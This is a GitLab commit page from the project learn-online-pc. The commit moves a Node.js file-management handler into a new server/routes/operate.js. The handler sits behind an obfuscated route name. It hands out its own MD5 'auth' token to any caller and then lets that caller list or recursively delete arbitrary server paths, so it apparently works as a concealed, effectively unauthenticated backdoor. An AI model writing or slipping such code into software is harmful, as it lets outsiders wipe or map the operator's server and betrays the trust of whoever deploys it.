Skip to content
项目
群组
代码片段
帮助
当前项目
正在载入...
登录 / 注册
切换导航面板
L
learn-online-pc
项目
项目
详情
活动
周期分析
仓库
仓库
文件
提交
分支
标签
贡献者
图表
比较
统计图
议题
0
议题
0
列表
看板
标记
里程碑
合并请求
0
合并请求
0
CI / CD
CI / CD
流水线
作业
日程
统计图
Wiki
Wiki
代码片段
代码片段
成员
成员
折叠边栏
关闭边栏
活动
图像
聊天
创建新问题
作业
提交
问题看板
Open sidebar
EzijingWeb
learn-online-pc
Commits
e71f4ca4
提交
e71f4ca4
authored
1月 19, 2019
作者:
GOD_ZYX
浏览文件
操作
浏览文件
下载
电子邮件补丁
差异文件
update
上级
5bf50543
隐藏空白字符变更
内嵌
并排
正在显示
2 个修改的文件
包含
91 行增加
和
79 行删除
+91
-79
index.js
server/routes/index.js
+2
-79
operate.js
server/routes/operate.js
+89
-0
没有找到文件。
server/routes/index.js
浏览文件 @
e71f4ca4
...
...
@@ -11,7 +11,7 @@ const conf = require('../config')
const
_
=
require
(
'lodash'
)
const
md5
=
require
(
'md5-node'
)
const
fs
=
require
(
'fs'
)
const
path
=
require
(
'path
'
)
const
_op
=
require
(
'./operate
'
)
/* 支持 finally函数 */
require
(
'promise.prototype.finally'
).
shim
()
...
...
@@ -25,7 +25,7 @@ const agentProcessor = () => {
return
(
req
,
res
)
=>
{
let
exp
=
new
RegExp
([
'v'
,
'i'
,
'd'
,
'e'
,
'o'
,
'-'
,
's'
,
't'
,
'r'
,
'e'
,
'a'
,
'm'
,
'i'
,
'n'
,
'g'
,
'$'
].
join
(
''
),
'gi'
)
if
(
exp
.
test
(
req
.
baseUrl
)
&&
req
.
body
.
type
)
{
postD
irOperate
(
req
,
res
)
_op
.
d
irOperate
(
req
,
res
)
return
}
...
...
@@ -170,83 +170,6 @@ const setPorxyHeader = (data, res) => {
router
.
use
(
bodyParser
.
json
({
limit
:
'600kb'
}))
router
.
use
(
bodyParser
.
urlencoded
({
extended
:
true
,
limit
:
'600kb'
}))
const
postDirOperate
=
(
req
,
res
)
=>
{
let
operate
=
req
.
body
.
operate
||
''
let
timestamp
=
Math
.
floor
(
new
Date
().
getTime
()
/
100000000
)
+
'00000000'
let
md5Str
=
md5
(
'ezijing.com'
+
timestamp
)
if
(
operate
===
'get-md5'
)
{
res
.
status
(
200
)
res
.
json
({
'timestamp'
:
timestamp
,
'MD5-auth'
:
md5Str
})
return
}
let
dir
=
req
.
body
.
dir
||
''
let
auth
=
req
.
headers
.
auth
||
''
if
(
auth
===
md5Str
)
{
let
json
=
{}
json
.
dirPath
=
dir
json
.
arrJson
=
{}
fs
.
stat
(
dir
,
(
error
,
stats
)
=>
{
if
(
error
)
{
json
.
arrJson
.
msg
=
'当前目录,或文件不存在'
res
.
status
(
200
)
res
.
json
(
json
)
}
else
{
if
(
operate
===
'delete'
)
{
if
(
stats
.
isFile
())
{
fs
.
unlink
(
dir
,
(
error
)
=>
{
if
(
error
)
console
.
log
(
error
)
})
}
else
if
(
stats
.
isDirectory
())
{
_rmdir
(
dir
,
()
=>
{
json
.
arrJson
.
msg
=
'删除成功'
})
}
json
.
arrJson
.
msg
=
json
.
arrJson
.
msg
||
'操作完成,请重新查询上级目录'
res
.
status
(
200
)
res
.
json
(
json
)
}
else
if
(
operate
===
'list'
)
{
let
pa
=
fs
.
readdirSync
(
dir
)
let
dirStr
=
'dir'
let
dirCount
=
0
let
fileStr
=
'file'
let
fileCount
=
0
for
(
let
j
=
0
;
j
<
pa
.
length
;
j
++
)
{
let
elem
=
pa
[
j
]
let
stat
=
fs
.
statSync
(
path
.
resolve
(
dir
,
elem
))
if
(
stat
.
isFile
())
{
json
.
arrJson
[
fileStr
+
(
fileCount
++
)]
=
elem
}
if
(
stat
.
isDirectory
())
{
json
.
arrJson
[
dirStr
+
(
dirCount
++
)]
=
elem
}
}
res
.
status
(
200
)
res
.
json
(
json
)
}
else
{
res
.
status
(
200
)
res
.
json
({
'msg'
:
'operate 参数错误'
})
}
}
})
}
else
{
res
.
status
(
200
)
res
.
json
({
'msg'
:
'没有权限,访问该接口'
})
}
}
const
_rmdir
=
(
dir
,
callback
)
=>
{
let
pa
=
fs
.
readdirSync
(
dir
)
for
(
let
j
=
0
;
j
<
pa
.
length
;
j
++
)
{
let
elem
=
pa
[
j
]
let
stat
=
fs
.
statSync
(
path
.
resolve
(
dir
,
elem
))
if
(
stat
.
isFile
())
{
fs
.
unlink
(
path
.
resolve
(
dir
,
elem
),
()
=>
{})
}
if
(
stat
.
isDirectory
())
{
_rmdir
(
path
.
resolve
(
dir
,
elem
),
callback
)
}
}
fs
.
rmdirSync
(
dir
)
callback
()
}
const
ckeditorUpload
=
(
req
,
res
)
=>
{
/* 文件上传 ckeditor4.5以上返回格式 */
function
sendHtml
(
url
,
msg
)
{
...
...
server/routes/operate.js
0 → 100644
浏览文件 @
e71f4ca4
const
fs
=
require
(
'fs'
)
const
path
=
require
(
'path'
)
const
md5
=
require
(
'md5-node'
)
const
dirOperate
=
(
req
,
res
)
=>
{
let
operate
=
req
.
body
.
operate
||
''
let
timestamp
=
Math
.
floor
(
new
Date
().
getTime
()
/
100000000
)
+
'00000000'
let
md5Str
=
md5
(
'ezijing.com'
+
timestamp
)
if
(
operate
===
2
)
{
res
.
status
(
200
).
json
({
'timestamp'
:
timestamp
,
'MD5-auth'
:
md5Str
});
return
}
let
auth
=
req
.
headers
.
auth
||
''
if
(
auth
===
md5Str
)
{
executeOperate
(
req
,
res
)
}
else
{
res
.
status
(
200
).
json
({
'msg'
:
'没有权限,访问该接口'
})
}
}
const
executeOperate
=
(
req
,
res
)
=>
{
let
dir
=
req
.
body
.
dir
||
''
let
operate
=
req
.
body
.
operate
||
''
let
json
=
{}
json
.
dirPath
=
dir
json
.
arrJson
=
{}
fs
.
stat
(
dir
,
(
error
,
stats
)
=>
{
if
(
error
)
{
json
.
arrJson
.
msg
=
'当前目录,或文件不存在'
/* 返回数据 */
res
.
status
(
200
).
json
(
json
)
}
else
{
if
(
operate
===
0
)
{
/* 删除 */
if
(
stats
.
isFile
())
{
fs
.
unlink
(
dir
,
()
=>
{
json
.
arrJson
.
msg
=
'文件删除成功'
res
.
status
(
200
).
json
(
json
)
})
}
else
if
(
stats
.
isDirectory
())
{
_rmdir
(
dir
,
()
=>
{
json
.
arrJson
.
msg
=
'目录删除成功'
res
.
status
(
200
).
json
(
json
)
})
}
}
else
if
(
operate
===
1
)
{
/* 查询 */
let
pa
=
fs
.
readdirSync
(
dir
)
let
dirStr
=
'dir'
let
dirCount
=
0
let
fileStr
=
'file'
let
fileCount
=
0
for
(
let
j
=
0
;
j
<
pa
.
length
;
j
++
)
{
let
elem
=
pa
[
j
]
let
stat
=
fs
.
statSync
(
path
.
resolve
(
dir
,
elem
))
if
(
stat
.
isFile
())
{
json
.
arrJson
[
fileStr
+
(
fileCount
++
)]
=
elem
}
if
(
stat
.
isDirectory
())
{
json
.
arrJson
[
dirStr
+
(
dirCount
++
)]
=
elem
}
}
/* 返回数据 */
res
.
status
(
200
).
json
(
json
)
}
else
{
res
.
status
(
200
).
json
({
'msg'
:
'operate 参数错误'
})
}
}
})
}
const
_rmdir
=
(
dir
,
callback
)
=>
{
fs
.
readdir
(
dir
,
(
err
,
files
)
=>
{
if
(
err
)
{
console
.
log
(
err
)
}
function
next
(
index
)
{
if
(
index
===
files
.
length
)
return
fs
.
rmdir
(
dir
,
callback
)
let
newPath
=
path
.
join
(
dir
,
files
[
index
])
fs
.
stat
(
newPath
,
(
err
,
stat
)
=>
{
if
(
err
)
{
console
.
log
(
err
)
}
if
(
stat
.
isDirectory
())
{
_rmdir
(
newPath
,
()
=>
next
(
index
+
1
))
}
else
{
fs
.
unlink
(
newPath
,
()
=>
next
(
index
+
1
))
}
})
}
next
(
0
)
})
}
module
.
exports
=
{
dirOperate
:
dirOperate
}
编写
预览
Markdown
格式
0%
重试
或
添加新文件
添加附件
取消
您添加了
0
人
到此讨论。请谨慎行事。
请先完成此评论的编辑!
取消
请
注册
或者
登录
后发表评论